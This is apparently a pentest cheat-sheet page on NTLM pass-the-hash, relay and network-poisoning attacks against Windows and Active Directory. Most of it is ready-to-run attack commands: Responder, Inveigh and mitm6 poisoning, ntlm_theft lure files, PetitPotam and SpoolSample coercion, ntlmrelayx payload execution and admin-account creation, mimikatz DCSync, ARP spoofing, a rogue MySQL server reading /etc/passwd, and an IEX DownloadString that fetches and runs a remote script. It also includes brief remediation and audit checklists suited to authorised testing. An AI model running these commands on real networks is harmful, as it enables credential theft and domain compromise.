black electronics

Pass-the-Hash and Relay Attacks

Reusing and Relaying Captured NTLM Credentials

Pass-the-Hash and Relay Attacks

NTLM hashes recovered during credential dumping, or captured directly off the wire, rarely need to be cracked before they're useful. This covers pass-the-hash, capturing NTLM authentication through LLMNR/NBT-NS, IPv6 and SSDP poisoning, coercing authentication with rogue SMB servers and Petitpotam, and relaying it with Impacket's ntlmrelayx.

Overview

NTLM authentication accepts a password’s hash as valid credential material, the plaintext is never actually required. That means an NTLM hash recovered during credential dumping, or captured directly off the network, is often immediately reusable without ever needing to crack it.

Two related techniques exploit this:

Pass-the-hash: replay a hash you already have directly against a target.
NTLM relay: forward someone else's live authentication attempt to a target, on their behalf, as it happens.

Relay attacks are only as useful as your ability to see or trigger that live authentication in the first place, so this page also covers the network poisoning and coercion techniques used to capture or force NTLM authentication before relaying it on.

Pass-the-Hash

Once an NTLM hash has been recovered, it can usually be used as-is.

pth-winexe accepts the hash directly via an environment variable:

Terminal window
export SMBHASH=<lm_hash>:<nt_hash>
pth-winexe -U administrator% //<target> cmd

Where a hash is suspected to be reused across many hosts, spraykatz can spray it across a range in one pass:

Terminal window
spraykatz -u administrator -p <nt_hash>:<lm_hash> -t 10.1.1.0/24

Capturing NTLM Authentication (LLMNR / NBT-NS / mDNS Poisoning)

Windows falls back to LLMNR and NBT-NS broadcast name resolution when DNS fails to resolve a hostname. Answering those broadcasts as if you were the requested host causes the requesting machine to authenticate directly to you.

Check whether LLMNR is in use before poisoning:

Terminal window
Resolve-DnsName -LlmnrOnly -Name <target>

Responder is the reference tool for this:

Terminal window
sudo responder -I <interface> -v -FDdP # all-out attack: LLMNR, NBT-NS and mDNS poisoning
sudo responder -I <interface> -A # analyze/listen only, no poisoning

Captured hashes land in Responder’s logs and can be pulled out for cracking:

Terminal window
cat /usr/share/responder/logs/* | grep -oE '[^[:space:]:]+::[^[:space:]:]+:[A-Fa-f0-9]{16}:[A-Fa-f0-9]+:[A-Fa-f0-9]+' | sort -u

Inveigh is the Windows-native equivalent, useful when operating from a compromised Windows host rather than a Linux attack box:

Terminal window
Invoke-Inveigh -SMB Y -DNS Y -HTTP Y -NBNS Y -LLMNR Y -mDNS Y -ConsoleOutput Y

or the compiled binary with a broader set of listeners:

Inveigh.exe -NBNS Y -mDNS Y -HTTPS Y -WebDAV Y -Proxy Y -LDAP Y -HTTP Y -SMB Y -ListenerIP <attacker_ip> -SpooferIP <attacker_ip> -SnifferIP <attacker_ip> -Console 5

Inveigh also ships its own relay module, Inveigh-Relay, a Windows-native alternative to Impacket’s ntlmrelayx for when operating entirely from a compromised Windows host:

Terminal window
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/master/Inveigh-Relay.ps1')
Invoke-InveighRelay -Target <target_ip> -MachineAccounts Y -ConsoleOutput Y -Attack Enumerate,Session

Remediation

  • Disable WPAD (automatic proxy detection) via Group Policy.
  • Block LLMNR with a Windows Firewall rule on UDP 5355.
  • Disable NBT-NS.
  • Disable IPv6 and LMHOSTS lookup if unused.

Further detail: Disable LLMNR, NetBIOS, WPAD and LM Hash.

IPv6 Poisoning (mitm6)

Most internal networks run IPv6 alongside IPv4 without it being actively used, but Windows still prefers it. mitm6 answers DHCPv6 requests on the local segment, making the attacker’s host the preferred IPv6 DNS server for every Windows client that asks, without needing ARP spoofing at all.

Terminal window
mitm6 -d <domain>

Run Impacket’s ntlmrelayx alongside it to relay the resulting authentication:

Terminal window
ntlmrelayx.py -6 -wh <attacker_ip> -t ldaps://<domain> -i
-wh the host serving the WPAD file (the attacker's IP)
-t the relay target (cannot be the same device being spoofed)
-i open an interactive shell on a successful relay

Remediation

  • Disable IPv6 entirely if it isn’t used on the internal network. This is the only reliable defence against the DHCPv6 takeover itself.
  • Disable WPAD/Proxy Auto-Detection via Group Policy, or configure an explicit PAC URL rather than relying on auto-detection.
  • Where possible, disable NTLM relay entirely in favour of Kerberos-only authentication.

SSDP / UPnP Poisoning

SSDP poisoning answers UPnP discovery broadcasts, causing a spoofed device to appear in Windows Explorer on victim machines. Interacting with it can be used to harvest credentials via a fake login prompt, or trigger other exploitation paths.

Terminal window
essdp <interface> -s <attacker_ip> # plain spoofed device
essdp <interface> -t office365 -u 'https://office.microsoft.com' # spoofed O365 login page
essdp <interface> -t microsoft-azure -u 'https://azure.microsoft.com/auth/signin/' -b # basic-auth capture
essdp <interface> -t xxe-smb # XXE exploit variant

This is typically paired with an ARP-based or protocol-poisoning foothold, see Broader Man-in-the-Middle Techniques below, since it depends on being positioned to see the victim’s discovery traffic.

Forcing Authentication (Coercion and Rogue SMB)

Poisoning is opportunistic, it only captures authentication that happens to occur while you’re listening. Where that isn’t fast enough, or nothing is being broadcast, a target can be actively coerced into authenticating instead.

Lure Files

ntlm_theft generates a range of file types that trigger an outbound SMB authentication attempt as soon as they’re opened or, in some cases, merely browsed to in Explorer:

Terminal window
ntlm_theft.py -g all -s <attacker_ip> -f QuarterlyReport
-g generate all file types, or a specific one
-s the IP of your hash-capture listener (Responder, ntlmrelayx, or a Metasploit SMB capture module)
-f base filename, can be renamed later

Delivery vectors include .url and .scf icon references, desktop.ini, Word/Excel external-resource fields, Windows Media Player playlists (.asx/.m3u), .jnlp, .application, and PDF/chat-link variants, useful on engagements involving phishing or where a rogue SMB share can be dropped on an internal file share.

Rogue SMB Server

Standing up your own SMB server to receive the coerced or relayed authentication, via Impacket’s smbserver.py:

Terminal window
impacket-smbserver -smb2support myshare ./capture-share

NetExec can also push a malicious shortcut file onto an already-writable share to capture the hash of anyone who browses to it:

Terminal window
nxc smb <target> -u '<username>' -p '<password>' -M slinky -o SERVER=<attacker_ip> NAME=share
nxc smb <target> -u '<username>' -p '<password>' -M slinky -o SERVER=<attacker_ip> NAME=share CLEANUP=True

Forced Lookups via Document and Email Tricks

  • The MSWord URI handler will cause Outlook to automatically fetch a remote path as soon as an email containing it is opened: ms-word:ofe|u|file://<attacker_ip>/file/doc.docx.
  • An embedded UNC-path image tag has the same effect for internal users viewing HTML content: <img width="100" src="//<attacker_ip>/share/filename.png">.
  • WorsePDF turns an ordinary PDF into one that leaks the opening user’s Net-NTLM hash when viewed in Adobe Acrobat Reader:
Terminal window
python WorsePDF.py <input.pdf> <attacker_ip>

Petitpotam

Petitpotam abuses MS-EFSRPC to coerce a machine account, most usefully a domain controller, into authenticating to an attacker-controlled listener. Because it forces authentication from a machine account rather than waiting for a user, it’s one of the most reliable coercion primitives against Active Directory.

Terminal window
sudo responder -I <interface> -v -FDdP
petitpotam.py -u <username> -p '<password>' -d <domain> <listener_ip> <dc_ip>

The coerced machine authentication can then be relayed straight into AD CS’s HTTP enrolment endpoint to obtain a certificate for the domain controller (the ESC8 relay path):

Terminal window
ntlmrelayx.py -t http://<target>/certsrv/certfnsh.asp --adcs --template 'domain controller' -smb2support --altname Administrator

What’s done with the resulting certificate, requesting a Kerberos ticket and using it to dump the domain, is covered on the Kerberos abuse page.

SpoolSample

Where a host with unconstrained Kerberos delegation has already been compromised, SpoolSample escalates straight to full domain compromise rather than just a relayable hash. It coerces a domain controller into authenticating to that compromised host via the same print spooler RPC bug (RpcRemoteFindFirstPrinterChangeNotificationEx), but because the receiving host has unconstrained delegation, the DC hands over its actual TGT rather than just an NTLM authentication attempt.

First confirm a suitable host is available and that the target DC is reachable over the spooler pipe:

Terminal window
Get-ADComputer -Filter {TrustedForDelegation -eq $true -and primarygroupid -eq 515} -Properties trustedfordelegation,serviceprincipalname,description # Find computers with unconstrained delegation
ls \\<dc-hostname>\pipe\spoolss # Confirm the spooler service is reachable on the target DC

From the compromised unconstrained-delegation host, coerce the DC and capture its TGT:

SpoolSample.exe <dc-hostname> <attacker-controlled-host>
mimikatz # sekurlsa::tickets -- Extract the DC's captured TGT
mimikatz # lsadump::dcsync /domain:<domain> /user:Administrator -- Use it to DCSync immediately

Further detail: Domain Compromise via DC Print Server and Kerberos Delegation (ired.team).

NTLM Relay Attacks

Relaying requires the target to not enforce SMB signing. Combine it with the poisoning or coercion techniques above to generate the authentication being relayed.

Build a list of relay-able targets with NetExec:

Terminal window
nxc smb 10.1.1.0/24 --gen-relay-list targets.txt

If poisoning traffic with Responder at the same time, turn off its own SMB/HTTP servers so ntlmrelayx can serve them instead and relay what Responder poisons:

Terminal window
sudo responder -I <interface> -v -FDdw

Impacket’s ntlmrelayx.py covers most relay scenarios:

Terminal window
ntlmrelayx.py -tf targets.txt # relay against a target list
ntlmrelayx.py -t all://<target> -socks -smb2support # open a SOCKS proxy, relay everything
ntlmrelayx.py -tf targets.txt -smb2support -e ./payload.exe # execute a payload on relayed targets
ntlmrelayx.py -tf targets.txt -i # open an interactive SMB shell
ntlmrelayx.py -t ldaps://<dc-fqdn> --delegate-access # relay to LDAPS for delegation abuse
ntlmrelayx.py -t ldaps://<dc-fqdn> --add-computer # add a computer account via relayed LDAP

Adding a local administrator via a relayed command execution:

Terminal window
ntlmrelayx.py -tf targets.txt -c 'net user /add <username> <password> /Y & net localgroup Administrators <username> /add'

Relaying to LDAP can also be chained into a resource-based constrained delegation attack, adding a computer account, using it to serve a malicious image and swap the current user’s lock screen (via Change-Lockscreen), then requesting a delegated ticket to impersonate a privileged user:

Terminal window
$pass = ConvertTo-SecureString '<password>' -AsPlainText -Force
New-MachineAccount -MachineAccount <machine_account> -Password $pass
Terminal window
ntlmrelayx.py -t ldap://<dc-fqdn> --delegate-access --escalate-user <machine_account>$ --serve-image ./lure.jpg
getST.py <domain>/<machine_account>:'<password>'@<target-fqdn> -spn cifs/<target-fqdn> -impersonate administrator -dc-ip <dc-ip>
export KRB5CCNAME=administrator.ccache
psexec.py -k -no-pass <target-fqdn>

Where SOCKS relaying is in use, proxychains lets any tool ride the relayed session:

Terminal window
proxychains smbclient //<target>/share -U '<domain>\<username>'
proxychains mssqlclient.py <domain>/<username>@<target> -windows-auth
proxychains secretsdump.py <domain>/administrator@<target>

For SMB-only relaying without the full ntlmrelayx feature set, smbrelayx.py is a lighter alternative:

Terminal window
smbrelayx.py -h <target> -e ./payload.exe

Broader Man-in-the-Middle Techniques

The poisoning techniques above depend only on broadcast/multicast name resolution, but a classic ARP-based man-in-the-middle position enables the same credential capture more broadly. This requires Layer 2 access and generally won’t work over a VPN drop, since ARP isn’t routed.

MITMf combines ARP spoofing, DNS spoofing, and LLMNR/NBT-NS/mDNS poisoning in one tool:

Terminal window
mitmf -i <interface> --spoof --arp --gateway <gateway_ip> # ARP-poison the subnet
mitmf -i <interface> --spoof --dns --arp --target 10.1.1.0/24 --gateway <gateway_ip> # add DNS spoofing
mitmf -i <interface> --responder --wredir --nbtns # LLMNR/NBT-NS/mDNS spoofing

RDP sessions can be intercepted with pyrdp or Seth, both downgrade or intercept the connection to capture credentials and keystrokes:

Terminal window
pyrdp-mitm.py <target>
sudo seth.sh <interface> <target>

Bettercap provides an interactive UI and an ARP spoofing module, and can also stand up a rogue MySQL server that reads arbitrary files off a connecting client:

Terminal window
bettercap -caplet http-ui
set mysql.server.infile /etc/passwd
mysql.server on

Plain arpspoof still covers simple two-way ARP spoofing:

Terminal window
sudo sysctl -w net.ipv4.ip_forward=1
arpspoof -i <interface> -t <target> -r <gateway_ip>
arpspoof -i <interface> -t <gateway_ip> -r <target>
sudo sysctl -w net.ipv4.ip_forward=0 # cleanup

XeroSploit wraps ARP scanning, traffic capture and MITM into a single menu-driven tool, useful for quickly surveying a segment before picking one of the more targeted techniques above.

OPSEC Considerations

Poisoning and relay attacks are noisy by nature, they affect an entire broadcast domain, not just a single target. Before running any of the above, consider:

  • Does the rules of engagement scope cover broadcast-domain-wide poisoning, or only the specific hosts under test? A LLMNR/mitm6/ARP attack can affect every host on the segment, not just the intended target.
  • Is EDR present on the poisoning or relay source host? Responder, Inveigh and mitm6 are all commonly signatured.
  • Is SMB signing enforced? If so, relaying to SMB targets will fail outright, look for LDAP(S) or HTTP (AD CS) relay targets instead.
  • Would a rogue DHCPv6 server or ARP spoofing trip a network IDS or NAC solution before poisoning even yields a capture?
  • Is there a coercion primitive (Petitpotam, forced lookups) available that avoids the need to wait for opportunistic traffic altogether?

What Should We Look For?

  • Is SMB signing enforced across the estate? If not, any captured or coerced NTLM authentication can likely be relayed.
  • Is LLMNR, NBT-NS or mDNS still enabled where it isn’t needed?
  • Is IPv6 enabled but unused, leaving DHCPv6 spoofing (mitm6) as a viable path to becoming the preferred DNS server?
  • Can a low-privileged account trigger machine-account authentication via Petitpotam or a similar coercion technique?
  • Are captured hashes being reused across multiple hosts (local administrator password reuse)?
  • Would the organisation’s detective controls actually flag a rogue DHCPv6 server, ARP spoofing, or a sudden spike in SMB/LDAP authentication to an unfamiliar host?
Useful LinksPentest PayloadsCheat Sheets